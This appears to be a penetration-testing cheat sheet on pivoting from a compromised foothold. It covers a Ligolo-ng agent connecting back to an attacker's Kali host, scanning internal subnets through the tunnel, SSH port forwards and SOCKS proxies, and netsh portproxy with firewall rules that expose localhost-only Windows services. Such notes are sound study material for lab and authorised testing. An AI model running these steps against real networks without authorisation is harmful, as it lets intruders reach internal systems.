Tunneling#
Choose the tunnel#
- need subnet reachability from Kali: use Ligolo
- need one localhost-only TCP service: use Ligolo localhost access, or SSH local forward / Windows
portproxy - need app access through an existing shell only: use a targeted forward, not a full tunnel
Verify every forward#
- check the listener or route exists
- connect to the forwarded port from Kali with the intended client
- only then continue enumeration through it
Ligolo-ng workflow#
- Start proxy on Kali.
- In the Ligolo console, create the tun interface.
- Run the agent on the foothold.
- In the Ligolo console, select the session and start the tunnel.
- In the Ligolo console, check the foothold subnet.
- Add the route from the Ligolo console.
- Scan from Kali with
-sT/--unprivileged.
Kali#
Create and bring up the tun interface#
Run this first if Ligolo cannot create the interface for you.
sudo ip tuntap add user "$(whoami)" mode tun ligolo
sudo ip link set ligolo up
Start proxy#
./proxy -selfcert
Ligolo Console#
Create the tun interface#
interface_create --name ligolo
Show the TLS fingerprint#
certificate_fingerprint
Foothold#
Start the agent#
agent.exe -connect <KALI-IP>:11601 -accept-fingerprint <FINGERPRINT>
Lab fallback only#
agent.exe -connect <KALI-IP>:11601 -ignore-cert
Ligolo Console#
Select the session#
session
session <id>
Start the tunnel#
tunnel_start --tun ligolo
ifconfig
Add the route#
interface_add_route --name ligolo --route <subnet from ifconfig>
Access the current agent localhost with Ligolo#
Ligolo maps 240.0.0.0/4 to the current agent 127.0.0.1.
sudo ip route add 240.0.0.1/32 dev ligolo
Kali#
Scan through the tunnel#
nmap -sn <subnet from ifconfig>
nmap -Pn -n --unprivileged -sT <target-ip>
Local port forward with SSH#
ssh -L 8080:172.16.5.10:80 user@<foothold>
Expose a localhost-only Windows service with portproxy#
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8080 connectaddress=127.0.0.1 connectport=8080
netsh advfirewall firewall add rule name="portproxy_8080" dir=in action=allow protocol=TCP localport=8080
Show and delete portproxy rules#
netsh interface portproxy show all
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=8080
netsh advfirewall firewall delete rule name="portproxy_8080"
Dynamic SOCKS proxy with SSH#
ssh -D 9050 user@<foothold>
Remote port forward with SSH#
ssh -R 8080:127.0.0.1:80 user@<foothold>